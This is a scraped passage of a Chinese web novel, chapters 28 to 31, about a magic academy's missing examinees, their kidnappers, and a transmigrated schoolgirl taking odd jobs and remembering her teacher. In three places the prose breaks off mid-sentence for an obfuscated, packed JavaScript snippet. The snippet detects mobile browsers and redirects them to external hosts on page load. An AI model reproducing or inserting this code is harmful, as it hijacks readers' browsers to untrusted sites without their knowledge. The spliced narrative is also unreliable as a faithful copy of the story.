而附近一人对此发言甚是不满，扭过头来，疾言厉色地斥责：“话不能这么说。既是学宫所发生之事，身为学宫一员，有策者献策，有力者出力，岂能对此置之不理？” “那你说要怎么办？咱们在这里议论良久，无济于事，只是在白白耗费光阴。” “你、你！你若不想与我们商酌，更不想从旁协助，那离开便好！何必袖手旁观，尽说些丧气话？冷言讥讽不如走了更好。” 那人恼了：“我既来了，哪里是想袖手旁观？心余力拙罢了。我自知才疏学浅，若是说错了什么，误了旁人，那才是天大的罪过。再怎么说，这事有师保出手，哪里轮得到我们？你不要——”他被人打断了。 “嘘，安静。有人要说话了。” 大家登时闭上嘴，目光聚集到人群中间。 中间的少女穿着与旁人别无二致，因在日头下站了太久，脸颊微红，说话依旧掷地有声：“我刚得到消息，这事已被学宫挂榜文上了，想必是各位师保想群策群力，广开言路。倘若诸位有意，可自行前去揭榜。” 此话一出，顿时炸开了锅。 “竟然挂榜了？哎，外边的人必然认为学宫处于捉襟见肘之地。” “此事已过去两日。若再不……恐有性命之忧。” “难不成连师保的法术也不起作用吗？” “往年去北林未曾出事，怎么今年……” 居中者举起手，微微往下压，众人议论逐渐变小。 她不顾脸上汗水，高声道：“我知这两日众说纷纭，诸位或多或少也与同窗磋商过相关方法。或许有人不满于学宫将此事公之于众，但请扪心自问，学宫威严与考生性命，孰轻孰重？况且，敢于直面所错，这不是更能彰显学宫之坦荡吗？” 她停顿片刻：“他们前来参加学宫大考，未来也会是诸位同窗，我辈绝不能对此坐视不理！当初入学宫，是寻求为他人排忧解难之法，今日更是万万不可置身事外的。” 其余人纷纷叫好。 “望诸位不要妄自菲薄，理应相互取长补短、众志成城！” 28.第 28 章 许巧星对这些人沸沸扬扬议论之事一头雾水，倾耳细听，终于听懂了这件咄咄怪事的来龙去脉。 前几天，学府正举办第三场大考，考场照例是设在茫茫北山中。这北山不在羽冠城内，泛指城外北部山峦，而其中最高的那座峰，便是此次考场。 此山有一神奇之处，山上有一种齐腰高的草，常年结一串漆黑如同眼珠的果实，吞下它后，登高北望。若晴朗万里无云，便可站在山巅向西北方清晰地望见漆阳镇。相传，那些悟性不凡的天才，甚至可极目窥见更北处的雪石山之影。不过，寥寥无几罢了。 此次大考前，学府特意在前一天连夜赶车至漆阳镇，暂租了人家屋顶，晨光熹微时便铺上布拼接成一幅极大的字画，静候考生摘果登高看画。 考生在峰顶将所见画在卷上，交予师保，便立了禁言咒，不可对其余人透露分毫，直至山下方可解除。 考试时间限制在一日之内。至第二日清晨，朝露夜霜会将画布上的笔迹模糊，自然就看不清楚了。 题目说起来简易，但对亲身参与其中的考生而言，这一切举步维艰。 学宫大考素来不限录取名额，但有人预估今年通过的人不足十人。如何找到那株草，如何服用，又如何在体内化解它，处处皆是门道，与前两次考试相较，难度高出一大截。 学宫不是教人画画的画院，对考生要求是画得大致即可，重在考察他们道法天资是否出类拔萃。 为防止考生相互私通，除了下了禁言咒外，上山下山不是同一个方向。 那日黄昏，学宫派人守在山下出口，却迟迟不见最后两名考生。 考生均备有信号棒，若遇上危险便及时点燃，燃起直入云霄的红烟。在山中巡视的师保就会飞速前去接应。 直到那几位在山峰上吹了一天风的师保背着画卷箱下山，与山下的人一碰面，却言这两名考试已交过卷，早就下山去了。 可既没见到考生出山，又没见到任何信号。学宫大惊，再细细问过当日每一位考生，可无论是谁，在下山时均没看见失踪二人。 学府当机立断下令搜山。 但是，依旧不见人影。 两个大活人怎可能凭空消失？大事不妙。 他们恐有性命之忧。 另外，一场考试能把考生给考没，很不光彩，简直是往学宫的脸上甩了一巴掌。 学宫急匆匆地遣一众师保进山寻人，本以为能发现些许踪迹，不曾料连接两日一无所获。 这种重大过失，在多年前发生过一次，当时有一学生无故声销迹灭，学宫本以为能私下寻回，一拖再拖，酿成大错。 学宫火烧眉毛，寻不到人，今日将此事挂上衙门的榜文，号召有能力之士前来协助，集众人之力，誓要搜遍山上的每一块土地与每一条深涧。 “听说他们家里人已赶到城内，当下正与大祭酒议论呢。” “失踪的二人素日里要好，可能是约好一同下山。” “咱们可要抓紧时间了，我听师兄说，十多年前那个失踪的学生一直没找回来呢。” 许巧星见众人七嘴八舌地散去，立在中间的那人又道了好些激励鼓气的话，随后与自己的同伴一起离开了。 许巧星心中一沉。 那两位失踪的考生命途多舛，他们要么是被凶狠野兽叼回窝里当储备粮，要么是跌落山沟无法动弹，但凡身子可以自由活动，早就想方设法向外求救。纵是目前性命无忧，若再找不到，恐怕要成为山中的孤魂野鬼了。 望他们能平安归来。 “竟然有考生失踪，未免也太吓人了。就一场入学考试，这么危机四伏的吗？”郝乐宁喃喃道。 许巧星之前听闻前两场是书面考试，再加上她在使者那儿拿着罗盘顺利寻到了遗失宝物，心中还是存了一点期许，自己或许有机会通过学宫大考呢？ 可此刻一听详情，火苗般微弱的希望被一盆冷水浇灭，这哪里是她一个门外人能弄懂的？她独身在野山上还不知能否辨清方向，更别提找什么没见过的花花草草。般般细节皆需长年累月的沉淀，遑论一年，给她三载光阴也未必能行。 不过，许巧星未全寄期望于此。既然这条路被堵死了，她就换条路走。 她叹了一口气：“那两位考生真惨。苦读多年，好不容易过了考试，却在最后关头遭遇不测。” 郝乐宁亦感慨良多：“确实遗憾。不过，听他们所言，这样的事不常发生。希望这两人还活着吧。既然这个世界有法术，应该总能找到人的。” 随着人群散开，四周安静了不少。 查找资料非常消耗精力与时间。已至正午，她们二人筋疲力尽，寻了一处树荫，席地而坐，掏出干粮，正欲解决午饭问题。 没过多久，就看到了陈哥出现盟府门口，郝乐宁立即站起身朝他招手。 陈哥走近，直截了当地说：“图书馆分了内馆与外馆。除了他们的学生，其他人只能进外馆。我们不用再去找法术类的书了，我听见有人说内馆才有。” 许巧星眼睛一亮：“那你知道内馆在哪里吗？” “不知道。” 随即，她们把一上午的成果三言两语总结了一番，告诉了陈哥。 陈哥面无表情地听着。 许巧星没说自己之前的猜测，悄悄瞥了一眼郝乐宁的脸色。郝乐宁浑然不觉：“我们应该找一个时间潜入内馆。” 陈哥听完后皱起眉头，平淡地拒绝：“我不会去的。” 郝乐宁一愣：“不急的，等一下先去观察一下环境。偷看书的事情可以慢慢打算。” 可他似已打定主意：“和这个没关系，我不会去的。” “我们时间紧迫。不可能要规规矩矩的，一直等到通过他们的考试，再进去找书吧？” 陈哥道：“刚来这里的时候，我们做了一些偷摸之事，因此惹上了麻烦。我当时劝赵文不要跟着小姑娘去那个村庄，赵文没听我的。我后面想，当时要融入这个世界，我们缺食物缺当地衣物， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044392|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实是万不得已才去的，那也是没办法的事。可是现在呢？”他冷冷地扫了她们一眼，“要是再被人逮到，我们又要逃去哪里？” 他停顿了一下：“我想劝你们也别去，但是……随便吧。” 许巧星很少听见陈哥说如此多的话。 “难道要死磕考试吗？”郝乐宁啼笑皆非，“先不提我们过不了多久，就有可能被使者他们抓走。既然法术的书放在那处，回家的方法可能就在里面，真的能忍住不去看它吗？” 陈哥语气平淡，好似是在说天气晴朗无云那般小事的态度：“我不想回去。” 此言一出，两人大惊。 许巧星瞪大眼睛，只见陈哥面无表情地道：“如果使者的人追来，我会想办法改头换面。还有，你们真的觉得可以回去吗？我不觉得。”随后，他缓缓说出了与许巧星先前大差不差的话，“我们是真穿越了，又或者是遭遇了车祸，谁都不好说。如果你们要找回去的方法，我会来帮忙，但触及到一些较为危险的事，我肯定是不会做的。” 他这番话彻底把两人一肚子话给堵了回去。 陈哥站起身，拍了拍身上的灰。 许巧星见他准备离开，终究忍不住问了一声：“你为什么不想回去？” “没有为什么。”陈哥不打算解释，“这里挺好的。” “我记得……你之前说过，你坐公交之前，是去看你妈妈的。” 陈哥看了许巧星一眼，隐隐叹息，过了一会儿才道：“是。我妈妈的坟在那边。我之前说去看她，指的是上香。” 说罢，他头也不回地走回盟府，把沉默的两人留在原地。 “我们回去查资料吧。”郝乐宁嚼完冷硬的干粮，仰头喝了一口竹筒里的水。 或许是短暂休憩使郝乐宁恢复过来，许巧星观她神情比之前好上许多，又问：“那我们……我们还去偷看内馆的书吗？” 郝乐宁摇头：“这几天先不去了。以后再说吧。” “其实，这个世界到底是什么样，一切全是我们的猜测。我们需要调查后，才能找出真相。不管怎么说，我是一定要想方设法回去的。”许巧星自言自语。 郝乐宁垂着眼帘：“嗯，走吧。” 许巧星脑中思绪矛盾，她想郝乐宁应该也差不多。既强烈渴望前往内馆查明资料，但在听完陈哥的话后，也不想出现波及到他的情况。 陈哥没有返回原本世界的欲望，他不愿意回去是自己的选择。 虽四人目前是一个团队，但这不意味着未来的每一个选择会牢牢绑定在一起。另外三人没有理由和立场去干涉他，况且以陈哥惯来拒人千里之外的态度，他不会接受别人的干涉。 好比许巧星，她态度坚决，也不会改变自己要离开的愿望。 因事发突然，许巧星对此感到意外，但回想起来，陈哥从未明言过自己想要回去。 她对陈哥的选择没有任何看法。 至于旁的事宜，等暂且安顿好后，往后计议吧。 29.第 29 章 漆黑无光的屋内，窗户已被木板牢牢钉死，半点光也透不进来，使人难以辨明昼夜。 一位衣衫褴褛的男子倒在地上，脸部朝下，姿势变扭，仔细一瞧就可以发现他的手被反绑在身后。 有人凝视他良久，看倒地的男子死了一般，皱眉问：“你们是怎么把这棘手玩意抓回来的？还有，我搞不懂你们为何非要那日去山里？嫌命长？” 他身后有两人。 “新提拔上来的那位坛主……”回答的人端着摇晃的烛火，凶恶咒骂道，“就是一笑面虎，表面笑脸殷勤，背地里给我们偷偷使绊子，踩着我们往上爬，劫走了不少好生意。弟兄们这么多人，每张口都要吃饭，实在是万不得已，要不然绝对不肯那时去北山冒险的。” 说罢，他狠狠踹了一脚身旁人的腘窝，使那人踉跄跪下，张口怒斥道：“你哪来的胆子跟着他们光天化日之下去抓学生的？闹得沸沸扬扬！我知道你资历浅，有人会不听你命令，总是擅自行事。可你不许怕！你可是少坛主，拿出威严来，好好管一管手底下的人！” 那人被这股力踹得几乎趴在地上，不敢吭声，自顾低头谢罪：“我办事不利，该打！” “要是坏了事，打死你都不为过！” “行了。”最开始说话的人冷淡地注视眼前一幕，看了一会儿，觉得颇没意思，“坛主若真要打死他，我现在就去替你拿刀。否则别在我跟前作戏。假。” “是，是。我会好好管教的。”坛主尴尬一笑，不愧是锅里打滚的老油条，下个瞬息脸上皱纹里又堆满讨好，“我们原想把这两个人丢回去，但现在山上处处皆有眼线，恐怕这方法行不通。您可要救救我们，我们也是为了大家的生意着想。” “你们先前本就差点被查到，断了一条胳膊，风声正紧。这次又闹得这般满城风雨。这买卖，就算你们有心，但有这能耐把它接稳吗？” “有，有。一定会替您办好。待这场风波过去，定会安排全部人手，给您将一切准备妥善。”那张泛着油光的脸在晃动烛火的照映下丑陋极了。 他厌恶地转过视线，闭上眼，许久才挤出几个字：“我想想。” “多谢诺大人，我们日后做牛做马……”终于得到了这句话，说明此人与他们仍在一条船上。坛主放松下来，点头哈腰说着奉承话，拉长语调。 “闭嘴吧。”诺大人嗤之以鼻，厌烦地打断，“领我出去，惹祸的人全带上来了吗？” “是，那三个蠢货早就被押在外头，只等您发落了。” “我不管。你的人，自己看着办。” 诺大人迈步走向门，坛主见状，忙不迭冲过去替他开门。他似乎想起了什么，问道：“这两人还没受伤吧？若是事后被人发现了什么刀剑砍出的伤口，我也救不了你们。” “就抓来的那日，他们很不老实，所以动了一下手。后面没敢再碰了。还请您放心，没有动刀舞剑。本想就地解决，但怕被学府的人发现端倪，规矩我们懂，痕迹处理干净了才带回来的。” 听到此话，诺大人的眉心一跳，脸色愈发难看，但没再多言。 待那两人离开后，一直跪在地上的少坛主才敢起身，刚才被狠踹了一脚，估摸着膝盖已青紫了，险些没站稳。他扭过头，对着躺在地上不省人事的考生啐了一口唾沫，骂着狠毒脏话，仍不解恨，又踹了好几脚，转身出去了。 他关门落栓，随即出现拉扯锁链的声响，门已被彻底锁牢。 躺在地上的青年，忽然艰难地侧过脸。他的颧骨肿起，那日被人狠狠砸了一拳。他闭眼，把耳朵贴在地上，听着外面的动静。 鹤然正是失踪的考生之一，交上画卷后一身轻松下山，等候的朋友站在不远处喜笑颜开，二人胸有成竹，自认前途光明，下山路上听见林中一道怪声，赶去一看，怎料是几名凶神恶煞的大汉抓着一挣扎的奇形怪状的野物，还不等他们说话，脖子上便挨了一下，彻底晕死过去。 这两日被灌了蒙汗药，醒了又睡，睡了又醒，意识迷糊之际，他心知如此情形之下性命难保，再被灌药时，待人离开，横下心咬舌，多少呕出了些，又反复念咒。 绑走他们的人疏忽大意，见这两日的俘虏像任人摆布的尸体，戒心渐渐松懈，甚至没发现他是醒着的。 可是他一直没找到机会逃跑。 这些人……是穷凶极恶的亡命之徒。 外面传来隐约的辩解求饶声。 “小的我本想把人打晕了就喂药，可是……可是，这家伙说他们穿得好，随身之物定可拿去换钱，就让我们去掏……大人！一时糊涂啊！现在人也被抓回来，就让我将功补罪吧！” “放你的屁！抢钱时你冲在最前面，恨不得把骨头拆开来卖，如今又把屎盆子推我头上！” “这事就该赖你，若不是你当时听见有人要过来，手抖把药给洒了，哪有这么多麻烦？有眼的人谁不知道平日里你惯会挑唆是非？大人您别被蒙蔽了！” “大人明鉴啊！当时我挨别人撞了一下，才掉的药，当真无辜。那个，这挨千刀的王八蛋日日去赌，赌得家破人亡，最贪财的是他啊！” 这两人即使被绑着，为活命，不管不顾地推卸责任给旁人，相互揭起老底，差点扭打成一团，恨不能啖其肉。 不过，谁也不敢攀扯到少坛主，那才是真不想活了。 一旁的人本在看戏，但瞥见上面的人脸色不对，忙不迭拽开他们，一人甩了一巴掌。他们脸上赫然肿起红痕。 转身，见仍有一人，顿了顿，一视同仁地赏了一巴掌。 那人冷不丁挨了一下，嚎了起来：“我又没吭声！” “还敢嘴硬？你们只需认错受罚！在大人面前哪这么多废话？没完没了的。” 可掌管生死的坛主只嫌恶地看了他们一眼，冷冷道：“送去药仙师的暗房里，他缺药人。” 底下跪着的人一听“药仙师”三字，还没听完，顿时吓得魂飞魄散，一同求饶，叫声凄惨如同鬼哭狼嚎。 少坛主见此情形，侧过脸，不忍直视。毕竟全是平日里一同打牌吃酒，称兄道弟的人。 一人情急之下，用力扑了上来，眼泪鼻涕直飞：“劭哥，往日兄弟们跟你好，你说一，我们从不说二！你行行好，帮忙向坛主求个情，饶过我们这回吧！往后兄弟们这条命就是你的了。” 劭熊往后退了两步，不由自主地躲闪开。 那人见劭熊见死不救，恨意涌上心头，癫狂地道：“兄弟们把你挑干净，你却不在乎我们的命！若不是……” 一旁有人立即把那几乎吓疯的人扯了回去，用力捂住他的嘴。 坛主火冒三丈：“把他们嘴堵上！干什么吃的？拉个人也拉不住！你们想跟着一起去死吗？” 这下，只剩下从破布中漏出的呜咽声。 诺大人对实情已能猜到一二，吵闹声灌入耳内，着实难以忍受。他不睬不理，径直离去，至于屋子里那个醒着的，既没人发现，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15052253|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不想管了。 多一事不如少一事。他每每应付这群宵小之辈，便心生无尽厌恶。虽他亦非好人，可若非迫不得已，这脏地方他是万万不愿踏足的。 劭熊等这位诺大人走远，没了畏畏缩缩的神情，出言抱怨：“爹，这什么大人打哪冒出来的？你瞧瞧他多狂。” 之前阿谀奉承的坛主挺直腰板，啐在地上：“呸，敬他一句大人，还真把自己当什么大人物了？还不是一条走狗。” “他有何来历？” “他不是我们的人，是一笔大生意的老板派来的，专门监督我们干活，据说那位大老板背景不简单。既暂且用得上他，咱们先恭维着，你也机灵点，不要触他霉头。”坛主用力扇了自己儿子一巴掌，恨铁不成钢，“长点记性。若不是你是我亲儿子，下面跪着的人里也有你的一份。下次再出这岔子，我也难保你。” 儿子捂着脸，嘿嘿一笑：“爹您就我一个儿子，您不对我好，那您对谁好去？”他凑近，放轻声音，“这次亏死了。这两家伙身上的钱没多少，也没甚值钱玩意。” 坛主一听就头疼：“给你的钱少了？我告诉你，若还敢去赌，就砍了你的手！全赖那几个人把你带歪了路，你这烂毛病不治好，迟早会害了自己。你抢来的东西，全都烧干净了吧？”独子向来顽劣，等他忙完眼前火烧屁股的事，得好好管一下这劣子。 “东西都不在了，不怕他们使法术追查，查不到我们的。我已不赌了，您不是跟那里的人打了招呼吗？我连门都不让进的。” “快滚，你多少去做点实事。别整天嬉皮笑脸的，没个人样。” “听您的。”劭熊讨好道，“爹你也知道，我们在这羽冠城里称霸王，不必处处受制于旁人。什么诺大人，他就是个屁！这三人跟着我久了，若大庭广众之下杀了他们，我岂非没面子？不如暂且留他们一命。” 坛主冷笑：“你是我儿子，自然留你的命。但此事厉害，我杀他们，一是给其余人立规矩，二来为趁早了断，避免再生事端。” “爹——” “不必多言。” 倒在地上的鹤然移动不了一毫，他的脸蹭在肮脏地上，一股难闻的霉味充斥鼻腔，无望地闭上双眼。 他的朋友被关在哪里了？他们会死在这里吗？ 太阳渐落，不知何处传来沉沉的撞钟声。天边红云似流锦，宛如神女襟飘带舞，长袖盖在羽冠城的万尺高空上，双目慈悲地望着这羽冠城大大小小的街道。 无数青鸟从四面八方飞来，百啭千声。 许巧星仰头，被眼前之景一震。郝乐宁无言随行，而陈哥远远隔着数十步，跟在她们身后。他们就这样穿过热闹的大街小巷。 城内熙攘，繁华喧嚣。 妇女拿着拨浪鼓逗弄稚子，挽着篮子的卖花女沿街递上鲜花，吃了闭门羹也不气馁。桥上有吹糖人的小贩，桥下正撑过一条极窄的木船，划得极快，船夫撑杆轻轻一点，便轻盈破水而过。 街旁的石灯渐渐一盏一盏点亮，远处的旅店二楼，司机赵文正坐在窗边静静等待。 顺水往上，流水潺潺，水面跃动的光灼灼生辉，好似给河中鱼群镀上金粉。 街道尽头，琉璃顶的辉煌庙宇折射出晃眼的光，与波光粼粼的水面交相辉映。那座游街的神像被贡在庙中，守庙人扫净地上灰尘，恭敬地退出去，合上了大门。 随着那抹余光逐渐狭窄，照在神像的模糊脸庞上，形成一滴摇摇欲坠的泪。 30.第 30 章 司机不知从何处弄来扫帚与水桶，那些物什摆在墙边。许巧星进门一瞧，心中正疑惑，只见司机站起身，拍了拍桌上的几张纸。 他道：“我找到工作了。”他低下头，眯起眼，看了看纸上的字，“这是几点啊……” 郝乐宁走上去，抽出来一看：“涤路士……这是环卫工人？上面写的是寅时，凌晨三点得过去上班。这，怎么只有一把扫帚？” 司机道：“工作不好找。这份环卫工人的活，是先前恰好有人辞了，我便抢到了。这份是长久稳定的工作，有人想和我换呢，我没同意。他们说得弄干净地上的垃圾与鸟屎，免得妨碍别人走路。” 这衙门，分两块区域，一扇门无人进，而另一边更像是别出心裁的城内就业中心。 大多数榜文只招临时工，店铺装卸货、房子灭虫灭鼠等杂事。 大大小小的榜文粗略分类，满满当当地挂了四面墙。看中哪个，符合条件的人与吏员处说一声，撕下一张，登好册子，这便算有一份工作了。 司机将最上面的纸放在一边，又开始读下面的：“找饭馆跑腿伙计，三天，包三餐。估计是这些天来城内玩的人多，人手不够。” “怎么分？”郝乐宁问。 司机抖了一下手上的纸，哗哗作响：“别急，听我说完。我今天到了衙门后，正在看榜文。忽然有人跑来说要招人搜山，人数不限，要身强力壮，最好有登山经验的。钱按日结，每日给三百呢。” 听到这话，许巧星惊奇地与郝乐宁对视两眼。 这不是在盟府门口听学生议论之事吗？ 许巧星连忙道：“是去找考生吗？” “还真是，你怎么知道的？这工作给钱多，大家都在抢，可他们担心有人多撕了榜文又不去，所以必须要当面给，我没办法再要一张。我来问问你们的意思。哦对了，你们来看看，这是几点啊？” “卯时正刻。”郝乐宁低头念着，“上午六点。” “——在卯时正刻去北门乘车，嘿！还包饭包接送。”司机挑眉，“搜山这工作累，我去吧。所有人赚到的钱放在一起用。” “钱多，但可能会有危险。你或许不知道这件事。”许巧星把今日所闻简单讲述了一遍，又道，“不知道山上有什么凶狠野兽，或者有深不见底的悬崖山沟。学府的人找了两日都没找到考生，所以要多招募些人，一片林子一片林子仔细搜过去。” 司机笑了一下：“既然人多，那猛兽肯定吓得不敢出来。大白天的，我跟着别人，走路小心点就好。这些钱挺多的，还是得去。” 郝乐宁问：“只有三份工作吗？” “是。剩下的那人去查资料吧。” “我去吧。”郝乐宁思索道，“我念书时要经常阅读古书，看竖列的排版已经习惯了。我查资料速度会比你们快一些。” 许巧星想到，陈哥说想要长久留下来，那份稳定工作应该留给他更好，便道：“那我去餐馆端盘子。” 郝乐宁问她：“现在高中生压力大，时间紧张，还没成年，很少会有人去外面打工吧。你知道明天要怎么做吗？” 许巧星点头：“我其实寒暑假会出去赚点钱。去过快递店，还去过烧烤店，不是什么都不会的。” 甚至她第一次打工是在初中。 她在初中时，个头噌噌往上涨，到了一米七多，可惜高中后就没再变高。她会在高中寒暑假出去打零工，有的店老板看她虽不爱说话，但做事稳妥的，便愿意招这个短期工。 许巧星很早就动过打工的念头。 开销基本上靠奶奶去种菜卖菜。 许巧星不忍心看奶奶一大把年纪这般劳累。可何婉慈这个老太太总说自己闲不下来，一闲下来就腰酸背痛，还不如去种地赚钱。 许巧星提过先取出她双亲留下来的钱，以充家用。 可奶奶却勃然大怒。她说那笔钱不许动，她又不是躺在床上起不来，若衣食住行要用上那笔钱，老脸还往哪里搁？ 许巧星被凶得一愣，手足无措地站在原地不动。 奶奶见状，语气软和下来：“你个傻姑娘诶——那钱真不能动。你不要瞧不起你奶奶年纪大了，又没读过书，我卖菜能赚到钱的。以后，你要花钱的地方多了去了。那钱，咱们先不要去动它，听话。” “以后是以后。以后我念完大学，能自己挣钱了。” “傻姑娘，你不可能一辈子跟我个老太婆一起住在老破小里面吧？现在可不比以前，以前进了好单位，单位会发房子。你只能自己买咯。” “住在这里怎么了？我就喜欢住在这里！还有，如果要买房子，我自己会挣钱的！” 奶奶干燥温热的手拍了拍许巧星：“你诶你诶……全靠自己买房多难。还有，你是个学生，心思给我放在课本上，别天天想钱不钱的。奶奶身子骨强壮，短不了你吃穿。你再提，我可要骂你了。”说罢，便推着许巧星去背书。 许巧星不再提此事。 那时候，许巧星升了初三，学校没来得及把给上一届的红色横幅撤下，新初三就要开始补课了。班主任开班会的时候说，放学后自愿留堂讲课一小时，不收钱。 许巧星跟奶奶说了后，自己却没报名，偷偷跑到校外新开的小超市帮老板整理货架，等时间快到了就回家。 那老板见她个子有一米七，以为是高中部的，或是上完初中就没念书的人。偏僻小地方对雇佣未成年人管得不严，给他们付的钱可比再雇一个成年人少多了。他心想只忙这一段时间，短期工未必有成年人来，就答应了她。 老板还叫许巧星多带着朋友来买零食，比校内的便宜。 许巧星在那里打了一周的工。 那日，其余老师在上课，或在办公室改卷子。 班主任忙完手头工作，嗓子实在痛，发现年级办公室里的润喉糖吃完了，便想出来买些。 一般来说，大家会在校内小店买，可今日恰巧缺货。原先班主任会放弃买糖，可不知怎的，她竟鬼使神差地往外走。 许巧星正在摆放商品。 她眼尖，注意到了自己的班主任进店，吓得躲起来。 许巧星弯下腰藏在货架后面，高高的货架被塞得满满当当。她把脸贴在桶装薯片与袋装锅巴的缝隙里偷看老师，老师没看见她。 她本继续躲着，却被老板喊了名字，让她去拿一整盒的润喉糖出来。 于是，惊怒交加的班主任和老板说了一声，付过润喉糖的钱，拉着不敢说话的许巧星走出店。 “你为什么没去补课？交名单的时候，老师之前问你，你说你奶奶要你早点回家。现在这打工，也是你奶奶让你做的？” 班主任的语气并不严厉，可是许巧星听了就哆嗦，眼泪在眼眶里打转。 她皱眉看着这个学生，平时闷不吭声，看起来乖巧懂事，不是惹事的性格。这是她带的第一批学生，之前还跟大学同学炫耀过运气好，学生挺省心的，没料到碰到这事。 她从口袋里掏出手机，翻查通讯录：“老师以为你是一个不会撒谎的好孩子，所以你说不来参加补习的时候，老师就相信你了。我现在给你奶奶打电话，我要好好问一下。” 许巧星不过一初中生，已被这段话吓得滚下泪来。她哽咽道：“老师，对不起。能不能……能不能，不要告诉奶奶。我是瞒着她出来赚钱的。她知道了会很生气。” 班主任的动作停了下来，扭头问：“那你交上来的那张不参加补课的表是怎么回事？你奶奶可是签了字的。” 许巧星声音颤抖：“奶奶不识字，以前都是我签的……” “你不仅骗老师，你还骗家长。你知道这样多不好吗？”班主任倒吸一口凉气，越发恼怒，手指用力滑动手机，一目十行，在通讯录里找许巧星家长的名字。 这小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060490|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆真大，居然敢两头骗。假如许巧星在打工时出了什么差池，谁也不知道她在哪里。暂且不论学校和老师都要对此负责，她自己的人身安全可能会出问题。 安全问题在班上反复强调，她居然充耳不闻。 班主任在心中责怪这孩子的顽劣无知。 “奶奶天不亮就起来卖菜了，我不想奶奶那么累。”许巧星涕泪横流。 班主任的手指停在许巧星家长电话号码的那一栏数字上，没能按下去。 她是知道许巧星的情况的。 这是一所包含了小学和初中的学校，大多数同学是直升上来的，资质老一些的老师知道许巧星家的事情，很早与班主任说过。她还帮许巧星向学校申请了免除学杂费。 “老师您能不能不要告诉我奶奶？奶奶知道了会很生气。” 面对一个哭到哽咽的学生，班主任的心终究还是软了。 她深深叹气，低头注视许巧星。许巧星一直在拿袖子擦眼泪，不敢抬头看她。 班主任犹豫再三，手机重新放回兜里，然后将许巧星拉到路边。 今年格外热，来往车辆留了一串尾气，低年级的接送学生的家长已散去，而新初三正在补课，偶有朗读声遥遥传来。 聒噪的蝉鸣声渐渐淡去，只听见许巧星哭泣的声音。 班主任坐在花坛边的石砖上，拉着这个泣不成声的女孩，说：“你以后来上补习课，一节不落，我就不告诉你奶奶。” 许巧星默默点头。 班主任淳淳告诫，语气柔和：“你还是学生，任务是好好念书。你人聪明，只要愿意认真读，肯定有书念的。往后上了大学，能申请奖学金，还有一些勤工俭学的岗位。再说近的，有的高中为了好的生源，按分数划档交学费，你中考考一个好成绩出来，就能免除一大笔费用。” “现在你也初三了，老师知道你懂事。可今年非常关键，你开学考的分数排名下降了，但仍然可以上普高。为什么不再努力冲一把呢？等上了好高中，再去一个好大学，你找个好工作，你奶奶就可以享福了。” 在班主任讲话的过程中，许巧星不断抽噎，她抬起胳膊擦眼泪，又用胳膊挡着自己的脸。她哭着哭着，感受到班主任把一颗润喉糖塞在她手心。 “别哭了，嗓子都哑了。”班主任轻柔地按下许巧星一直抬起的胳膊，拿纸给她擦眼泪，“来，老师送你回家。明天是我的补习课，你答应老师，以后都要来参加补习，要比原来更加认真地念书。” 许巧星被擦去眼泪，愣了一下，继而继续嚎啕大哭起来。 老师给同事打了一个电话，说自己临时有事，麻烦照看一下学生放学。 她一直坐在花坛边，等许巧星停止哭泣，终于冷静下来。 许巧星被老师领着，在安静的校园内行走，走去自行车棚。她坐上老师的自行车后座，车链条许久未打油，她们就这样慢悠悠、吱呀吱呀地回到了家。 何婉慈正在公用水池洗菜，她看见班主任牵着眼圈通红的许巧星，慌了神，撒下手里的活，湿答答的手往围裙下摆随意一擦，连忙迎上来询问。 许巧星抬头看着班主任，班主任感受到许巧星的不安，用力握了握她的手，便松开了，接着与何婉慈握手。 “您好您好……许巧星很好，没事。初三的学生压力大，哭一下也好……她在学校没什么事，考试成绩不错，平时很懂事，和同学相处也好，是一个好孩子……今天我正好有空就送她过来……不麻烦不麻烦，顺路的事情……我就不进来坐了，我也要回家烧饭了，以后我会常常来看您和许巧星的，有什么都可以和我说……好的，不用谢，举手之劳。” 班主任推着自行车离开，许巧星与何婉慈去巷子口送她。 许巧星注视着老师远去的背影，打开紧紧握着的手，那颗润喉糖已软塌了，化了一半，和汗水一起，粘嗒嗒地躺在掌心。 31.第 31 章 王城。大国师宅邸内。 “还没查到？” 四下安静无声，底下的人不敢抬头。 问话的是一中年女子，衣着华贵，单手撑着脑袋，另一手则在翻阅奏折。她看也没看别人，只是抖了抖它。 底下的人顿感到这句话掉在背上，仿佛有千斤重，头不由得更低了几分。 这人便是权倾朝野的大国师。 大国师不会怒不可遏地训斥旁人，更不会随手抄起奏折或镇纸砸人，她喜怒不形于色，公事公办，从不因小事不顺心而罚人。 然而此人一存在于此，已令人心中一凛。 